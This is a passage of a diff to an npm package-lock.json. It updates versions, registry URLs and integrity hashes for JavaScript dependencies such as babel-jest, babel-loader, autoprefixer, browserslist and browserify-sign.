"https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.3.3.tgz", + "integrity": "sha512-rwG/ja1neyLqCuGZ5YYrznA62D4mZXg0i1cIskIUKSiqF3Cje9/wXAls9B9s1Wa2fomMsIv8czB8jZcPmxCXFg==", "dev": true, "requires": { - "call-bind": "^1.0.2", - "define-properties": "^1.1.3", - "es-abstract": "^1.19.0" + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.5", + "es-shim-unscopables": "^1.0.2" } }, - "arrify": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/arrify/-/arrify-1.0.1.tgz", - "integrity": "sha1-iYUI2iIm84DfkEcoRWhJwVAaSw0=", + "array.prototype.flatmap": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.3.3.tgz", + "integrity": "sha512-Y7Wt51eKJSyi80hFrJCePGGNo5ktJCslFuboqJsbf57CCPcm5zztluPlc4/aD8sWsKvlwatezpV4U1efk8kpjg==", "dev": true, - "optional": true, - "peer": true + "requires": { + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.5", + "es-shim-unscopables": "^1.0.2" + } + }, + "arraybuffer.prototype.slice": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.4.tgz", + "integrity": "sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==", + "dev": true, + "requires": { + "array-buffer-byte-length": "^1.0.1", + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.5", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "is-array-buffer": "^3.0.4" + } }, "asn1": { "version": "0.2.4", @@ -21909,32 +19232,32 @@ } }, "asn1.js": { - "version": "5.4.1", - "resolved": "https://registry.npmjs.org/asn1.js/-/asn1.js-5.4.1.tgz", - "integrity": "sha512-+I//4cYPccV8LdmBLiX8CYvf9Sp3vQsrqu2QNXRcrbiWvcx/UdlFiqUJJzxRQxgsZmvhXhn4cSKeSmoFjVdupA==", + "version": "4.10.1", + "resolved": "https://registry.npmjs.org/asn1.js/-/asn1.js-4.10.1.tgz", + "integrity": "sha512-p32cOF5q0Zqs9uBiONKYLm6BClCoBCM5O9JfeUSlnQLBTxYdTK+pW+nXflm8UkKd2UYlEbYz5qEi0JuZR9ckSw==", "requires": { "bn.js": "^4.0.0", "inherits": "^2.0.1", - "minimalistic-assert": "^1.0.0", - "safer-buffer": "^2.1.0" + "minimalistic-assert": "^1.0.0" }, "dependencies": { "bn.js": { - "version": "4.12.0", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz", - "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==" + "version": "4.12.1", + "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.1.tgz", + "integrity": "sha512-k8TVBiPkPJT9uHLdOKfFpqcfprwBFOAAXXozRubr7R7PfIuKvQlzcI4M0pALeqXN09vdaMbUdUj+pass+uULAg==" } } }, "assert": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/assert/-/assert-2.0.0.tgz", - "integrity": "sha512-se5Cd+js9dXJnu6Ag2JFc00t+HmHOen+8Q+L7O9zI0PqQXr20uk2J0XQqMxZEeo5U50o8Nvmmx7dZrl+Ufr35A==", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/assert/-/assert-2.1.0.tgz", + "integrity": "sha512-eLHpSK/Y4nhMJ07gDaAzoX/XAKS8PSaojml3M0DM4JpV1LAi5JOJ/p6H/XWrl8L+DzVEvVCW1z3vWAaB9oTsQw==", "requires": { - "es6-object-assign": "^1.1.0", - "is-nan": "^1.2.1", - "object-is": "^1.0.1", - "util": "^0.12.0" + "call-bind": "^1.0.2", + "is-nan": "^1.3.2", + "object-is": "^1.1.5", + "object.assign": "^4.1.4", + "util": "^0.12.5" } }, "assert-plus": { @@ -21963,13 +19286,11 @@ "async": "^2.4.0" } }, - "async-foreach": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/async-foreach/-/async-foreach-0.1.3.tgz", - "integrity": "sha1-NhIfhFwFeBct5Bmpfb6x0W7DRUI=", - "dev": true, - "optional": true, - "peer": true + "async-function": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/async-function/-/async-function-1.0.0.tgz", + "integrity": "sha512-hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA==", + "dev": true }, "async-limiter": { "version": "1.0.1", @@ -21997,23 +19318,26 @@ "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=" }, "autoprefixer": { - "version": "10.4.8", - "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.8.tgz", - "integrity": "sha512-75Jr6Q/XpTqEf6D2ltS5uMewJIx5irCU1oBYJrWjFenq/m12WRRrz6g15L1EIoYvPLXTbEry7rDOwrcYNj77xw==", + "version": "10.4.21", + "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.21.tgz", + "integrity": "sha512-O+A6LWV5LDHSJD3LjHYoNi4VLsj/Whi7k6zG12xTYaU4cQ8oxQGckXNX8cRHK5yOZ/ppVHe0ZBXGzSV9jXdVbQ==", "dev": true, "requires": { - "browserslist": "^4.21.3", - "caniuse-lite": "^1.0.30001373", - "fraction.js": "^4.2.0", + "browserslist": "^4.24.4", + "caniuse-lite": "^1.0.30001702", + "fraction.js": "^4.3.7", "normalize-range": "^0.1.2", - "picocolors": "^1.0.0", + "picocolors": "^1.1.1", "postcss-value-parser": "^4.2.0" } }, "available-typed-arrays": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.5.tgz", - "integrity": "sha512-DMD0KiN46eipeziST1LPP/STfDU0sufISXmjSgvVsoU2tqxctQeASejWcfNtxYKqETM1UxQ8sp2OrSBWpHY6sw==" + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz", + "integrity": "sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==", + "requires": { + "possible-typed-array-names": "^1.0.0" + } }, "aws-sign2": { "version": "0.7.0", @@ -22026,92 +19350,65 @@ "integrity": "sha512-xh1Rl34h6Fi1DC2WWKfxUTVqRsNnr6LsKz2+hfwDxQJWmrx8+c7ylaqBMcHfl1U1r2dsifOvKX3LQuLNZ+XSvA==" }, "babel-jest": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-29.0.1.tgz", - "integrity": "sha512-wyI9r8tqwsZEMWiIaYjdUJ6ztZIO4DMWpGq7laW34wR71WtRS+D/iBEtXOP5W2aSYCVUQMsypRl/xiJYZznnTg==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-29.7.0.tgz", + "integrity": "sha512-BrvGY3xZSwEcCzKvKsCi2GgHqDqsYkOP4/by5xCgIwGXQxIEh+8ew3gmrE1y7XRR6LHZIj6yLYnUi/mm2KXKBg==", "dev": true, "requires": { - "@jest/transform": "^29.0.1", + "@jest/transform": "^29.7.0", "@types/babel__core": "^7.1.14", "babel-plugin-istanbul": "^6.1.1", - "babel-preset-jest": "^29.0.0", + "babel-preset-jest": "^29.6.3", "chalk": "^4.0.0", "graceful-fs": "^4.2.9", "slash": "^3.0.0" + } + }, + "babel-loader": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-10.0.0.tgz", + "integrity": "sha512-z8jt+EdS61AMw22nSfoNJAZ0vrtmhPRVi6ghL3rCeRZI8cdNYFiV5xeV3HbE7rlZZNmGH8BVccwWt8/ED0QOHA==", + "dev": true, + "requires": { + "find-up": "^5.0.0" }, "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", "dev": true, "requires": { - "color-convert": "^2.0.1" + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" } }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", "dev": true, "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" + "p-locate": "^5.0.0" } }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", "dev": true, "requires": { - "color-name": "~1.1.4" + "p-limit": "^3.0.2" } }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "has-flag": { + "path-exists": { "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", "dev": true - }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "requires": { - "has-flag": "^4.0.0" - } } } }, - "babel-loader": { - "version": "8.2.5", - "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-8.2.5.tgz", - "integrity": "sha512-OSiFfH89LrEMiWd4pLNqGz4CwJDtbs2ZVc+iGu2HrkRfPxId9F2anQj38IxWpmRfsUY0aBZYi1EFcd3mhtRMLQ==", - "dev": true, - "requires": { - "find-cache-dir": "^3.3.1", - "loader-utils": "^2.0.0", - "make-dir": "^3.1.0", - "schema-utils": "^2.6.5" - } - }, - "babel-plugin-dynamic-import-node": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/babel-plugin-dynamic-import-node/-/babel-plugin-dynamic-import-node-2.3.3.tgz", - "integrity": "sha512-jZVI+s9Zg3IqA/kdi0i6UDCybUI3aSBLnglhYbSSjKlV7yF1F/5LWv8MakQmvYpnbJDS6fcBL2KzHSxNCMtWSQ==", - "dev": true, - "requires": { - "object.assign": "^4.1.0" - } - }, "babel-plugin-istanbul": { "version": "6.1.1", "resolved": "https://registry.npmjs.org/babel-plugin-istanbul/-/babel-plugin-istanbul-6.1.1.tgz", @@ -22123,12 +19420,27 @@ "@istanbuljs/schema": "^0.1.2", "istanbul-lib-instrument": "^5.0.4", "test-exclude": "^6.0.0" + }, + "dependencies": { + "istanbul-lib-instrument": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-5.2.1.tgz", + "integrity": "sha512-pzqtp31nLv/XFOzXGuvhCb8qhjmTVo5vjVk19XE4CRlSWz0KoeJ3bw9XsA7nOp9YBf4qHjwBxkDzKcME/J29Yg==", + "dev": true, + "requires": { + "@babel/core": "^7.12.3", + "@babel/parser": "^7.14.7", + "@istanbuljs/schema": "^0.1.2", + "istanbul-lib-coverage": "^3.2.0", + "semver": "^6.3.0" + } + } } }, "babel-plugin-jest-hoist": { - "version": "29.0.0", - "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-29.0.0.tgz", - "integrity": "sha512-B9oaXrlxXHFWeWqhDPg03iqQd2UN/mg/VdZOsLaqAVBkztru3ctTryAI4zisxLEEgmcUnLTKewqx0gGifoXD3A==", + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-29.6.3.tgz", + "integrity": "sha512-ESAc/RJvGTFEzRwOTT4+lNDk/GNHMkKbNzsvT0qKRfDyyYTskxB5rnU2njIDYVxXCBHHEI1c0YwHob3WaYujOg==", "dev": true, "requires": { "@babel/template": "^7.3.3", @@ -22138,23 +19450,38 @@ } }, "babel-plugin-polyfill-corejs2": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.3.2.tgz", - "integrity": "sha512-LPnodUl3lS0/4wN3Rb+m+UK8s7lj2jcLRrjho4gLw+OJs+I4bvGXshINesY5xx/apM+biTnQ9reDI8yj+0M5+Q==", + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.3.3.tgz", + "integrity": "sha512-8hOdmFYFSZhqg2C/JgLUQ+t52o5nirNwaWM2B9LWteozwIvM14VSwdsCAUET10qT+kmySAlseadmfeeSWFCy+Q==", "requires": { "@babel/compat-data": "^7.17.7", - "@babel/helper-define-polyfill-provider": "^0.3.2", + "@babel/helper-define-polyfill-provider": "^0.3.3", "semver": "^6.1.1" } }, "babel-plugin-polyfill-corejs3": { - "version": "0.5.3", - "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.5.3.tgz", - "integrity": "sha512-zKsXDh0XjnrUEW0mxIHLfjBfnXSMr5Q/goMe/fxpQnLm07mcOZiIZHBNWCMx60HmdvjxfXcalac0tfFg0wqxyw==", + "version": "0.13.0", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.13.0.tgz", + "integrity": "sha512-U+GNwMdSFgzVmfhNm8GJUX88AadB3uo9KpJqS3FaqNIPKgySuvMb+bHPsOmmuWyIcuqZj/pzt1RUIUZns4y2+A==", "dev": true, "requires": { - "@babel/helper-define-polyfill-provider": "^0.3.2", - "core-js-compat": "^3.21.0" + "@babel/helper-define-polyfill-provider": "^0.6.5", + "core-js-compat": "^3.43.0" + }, + "dependencies": { + "@babel/helper-define-polyfill-provider": { + "version": "0.6.5", + "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.6.5.tgz", + "integrity": "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg==", + "dev": true, + "requires": { + "@babel/helper-compilation-targets": "^7.27.2", + "@babel/helper-plugin-utils": "^7.27.1", + "debug": "^4.4.1", + "lodash.debounce": "^4.0.8", + "resolve": "^1.22.10" + } + } } }, "babel-plugin-polyfill-regenerator": { @@ -22202,12 +19529,12 @@ } }, "babel-preset-jest": { - "version": "29.0.0", - "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-29.0.0.tgz", - "integrity": "sha512-B5Ke47Xcs8rDF3p1korT3LoilpADCwbG93ALqtvqu6Xpf4d8alKkrCBTExbNzdHJcIuEPpfYvEaFFRGee2kUgQ==", + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-29.6.3.tgz", + "integrity": "sha512-0B3bhxR6snWXJZtR/RliHTDPRgn1sNHOR0yVtq/IiQFyuOVjFS+wuio/R4gSNkyYmKmJB4wGZv2NZanmKmTnNA==", "dev": true, "requires": { - "babel-plugin-jest-hoist": "^29.0.0", + "babel-plugin-jest-hoist": "^29.6.3", "babel-preset-current-node-syntax": "^1.0.0" } }, @@ -22226,13 +19553,18 @@ "dev": true }, "base-x": { - "version": "3.0.9", - "resolved": "https://registry.npmjs.org/base-x/-/base-x-3.0.9.tgz", - "integrity": "sha512-H7JU6iBHTal1gp56aKoaa//YUxEaAOUiydvrV/pILqIHXTtqxSkATOnDA2u+jZ/61sD+L/412+7kzXRtWukhpQ==", + "version": "3.0.11", + "resolved": "https://registry.npmjs.org/base-x/-/base-x-3.0.11.tgz", + "integrity": "sha512-xz7wQ8xDhdyP7tQxwdteLYeFfS68tSMNCZ/Y37WJ4bhGfKPpqEIlmIyueQHqOyoPhE6xNUqjzRr8ra0eF9VRvA==", "requires": { "safe-buffer": "^5.0.1" } }, + "base64-arraybuffer": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/base64-arraybuffer/-/base64-arraybuffer-1.0.2.tgz", + "integrity": "sha512-I3yl4r9QB5ZRY3XuJVEPfc2XhZO6YweFPI+UovAzn+8/hb3oJ6lnysaFcjVpkCPfVWFUDvoZ8kmVDP7WyRtYtQ==" + }, "base64-js": { "version": "1.5.1", "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", @@ -22253,78 +19585,20 @@ "dev": true }, "bignumber.js": { - "version": "9.1.0", - "resolved": "https://registry.npmjs.org/bignumber.js/-/bignumber.js-9.1.0.tgz", - "integrity": "sha512-4LwHK4nfDOraBCtst+wOWIHbu1vhvAPJK8g8nROd4iuc3PSEjWif/qwbkh8jwCJz6yDBvtU4KPynETgrfh7y3A==" - }, - "binary-extensions": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", - "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", - "dev": true + "version": "9.3.1", + "resolved": "https://registry.npmjs.org/bignumber.js/-/bignumber.js-9.3.1.tgz", + "integrity": "sha512-Ko0uX15oIUS7wJ3Rb30Fs6SkVbLmPBAKdlm7q9+ak9bbIeFf0MwuBsQV6z7+X768/cHsfg+WlysDWJcmthjsjQ==" }, "blakejs": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/blakejs/-/blakejs-1.1.1.tgz", "integrity": "sha512-bLG6PHOCZJKNshTjGRBvET0vTciwQE6zFKOKKXPDJfwFBd4Ac0yBfPZqcGvGJap50l7ktvlpFqc2jGVaUgbJgg==" }, - "bluebird": { - "version": "3.7.2", - "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz", - "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==" - }, "bn.js": { "version": "5.2.1", "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-5.2.1.tgz", "integrity": "sha512-eXRvHzWyYPBuB4NBy0cmYQjGitUrtqwbvlzP3G6VFnNRbsZQIxQ10PbKKHt8gZ/HW/D/747aDl+QkDqg3KQLMQ==" }, - "body-parser": { - "version": "1.20.0", - "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.0.tgz", - "integrity": "sha512-DfJ+q6EPcGKZD1QWUjSpqp+Q7bDQTsQIF4zfUAtZ6qk+H/3/QRhg9CEp39ss+/T2vw0+HaidC0ecJj/DRLIaKg==", - "requires": { - "bytes": "3.1.2", - "content-type": "~1.0.4", - "debug": "2.6.9", - "depd": "2.0.0", - "destroy": "1.2.0", - "http-errors": "2.0.0", - "iconv-lite": "0.4.24", - "on-finished": "2.4.1", - "qs": "6.10.3", - "raw-body": "2.5.1", - "type-is": "~1.6.18", - "unpipe": "1.0.0" - }, - "dependencies": { - "debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "requires": { - "ms": "2.0.0" - } - }, - "depd": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", - "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==" - }, - "ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" - }, - "qs": { - "version": "6.10.3", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.10.3.tgz", - "integrity": "sha512-wr7M2E0OFRfIfJZjKGieI8lBKb7fRCH4Fv5KNPEs7gJ8jadvotdsS08PzOKR7opXhZ/Xkjtt3WF9g38drmyRqQ==", - "requires": { - "side-channel": "^1.0.4" - } - } - } - }, "boolbase": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz", @@ -22348,12 +19622,12 @@ } }, "braces": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", - "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", + "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", "dev": true, "requires": { - "fill-range": "^7.0.1" + "fill-range": "^7.1.1" } }, "brorand": { @@ -22361,12 +19635,6 @@ "resolved": "https://registry.npmjs.org/brorand/-/brorand-1.1.0.tgz", "integrity": "sha1-EsJe/kCkXjwyPrhnWgoM5XsiNx8=" }, - "browser-process-hrtime": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz", - "integrity": "sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow==", - "dev": true - }, "browserify-aes": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/browserify-aes/-/browserify-aes-1.2.0.tgz", @@ -22411,37 +19679,83 @@ } }, "browserify-sign": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/browserify-sign/-/browserify-sign-4.2.1.tgz", - "integrity": "sha512-/vrA5fguVAKKAVTNJjgSm1tRQDHUU6DbwO9IROu/0WAzC8PKhucDSh18J0RMvVeHAn5puMd+QHC2erPRNf8lmg==", + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/browserify-sign/-/browserify-sign-4.2.3.tgz", + "integrity": "sha512-JWCZW6SKhfhjJxO8Tyiiy+XYB7cqd2S5/+WeYHsKdNKFlCBhKbblba1A/HN/90YwtxKc8tCErjffZl++UNmGiw==", "requires": { - "bn.js": "^5.1.1", - "browserify-rsa": "^4.0.1", + "bn.js": "^5.2.1", + "browserify-rsa": "^4.1.0", "create-hash": "^1.2.0", "create-hmac": "^1.1.7", - "elliptic": "^6.5.3", + "elliptic": "^6.5.5", + "hash-base": "~3.0", "inherits": "^2.0.4", - "parse-asn1": "^5.1.5", - "readable-stream": "^3.6.0", - "safe-buffer": "^5.2.0" + "parse-asn1": "^5.1.7", + "readable-stream": "^2.3.8", + "safe-buffer": "^5.2.1" }, "dependencies": { + "hash-base": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/hash-base/-/hash-base-3.0.5.tgz", + "integrity": "sha512-vXm0l45VbcHEVlTCzs8M+s0VeYsB2lnlAaThoLKGXr3bE/VWDOelNUnycUPEhKEaXARL2TEFjBOyUiM6+55KBg==", + "requires": { + "inherits": "^2.0.4", + "safe-buffer": "^5.2.1" + } + }, + "readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + }, + "dependencies": { + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + } + } + }, "safe-buffer": { "version": "5.2.1", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "requires": { + "safe-buffer": "~5.1.0" + }, + "dependencies": { + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + } + } } } }, "browserslist": { - "version": "4.21.3", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.3.tgz", - "integrity": "sha512-898rgRXLAyRkM1GryrrBHGkqA5hlpkV5MhtZwg9QXeiyLUYs2k00Un05aX5l2/yJIOObYKOpS2JNo8nJDE7fWQ==", + "version": "4.25.1", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.25.1.tgz", + "integrity": "sha512-KGj0KoOMXLpSNkkEI6Z6mShmQy0bc1I+T7K9N81k4WWMrfz+6fQ6es80B/YLAeRoKvjYE1YSHHOW1qe9xIVzHw==", "requires": { - "caniuse-lite": "^1.0.30001370", - "electron-to-chromium": "^1.4.202", - "node-releases": "^2.0.6", - "update-browserslist-db": "^1.0.5" + "caniuse-lite": "^1.0.30001726", + "electron-to-chromium": "^1.5.173", + "node-releases": "^2.0.19", + "update-browserslist-db": "^1.1.3" } }, "bs58": { @@ -22509,11 +19823,6 @@ "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==" }, - "buffer-to-arraybuffer": { - "version": "0.0.5", - "resolved": "https://registry.npmjs.org/buffer-to-arraybuffer/-/buffer-to-arraybuffer-0.0.5.tgz", - "integrity": "sha512-3dthu5CYiVB1DEJp61FtApNnNndTckcqe4pFcLdvHtrpG+kcyekCJKg4MRiDcFW7A6AODnXB9U4dwQiCW5kzJQ==" - }, "buffer-xor": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/buffer-xor/-/buffer-xor-1.0.3.tgz", @@ -22523,6 +19832,8 @@ "version": "4.0.5", "resolved": "https://registry.npmjs.org/bufferutil/-/bufferutil-4.0.5.tgz", "integrity": "sha512-HTm14iMQKK2FjFLRTM5lAVcyaUzOnqbPtesFIvREgXpJHdQm8bWS+GkQgIkfaBYRHuCnea7w8UVNfwiAQhlr9A==", + "optional": true, 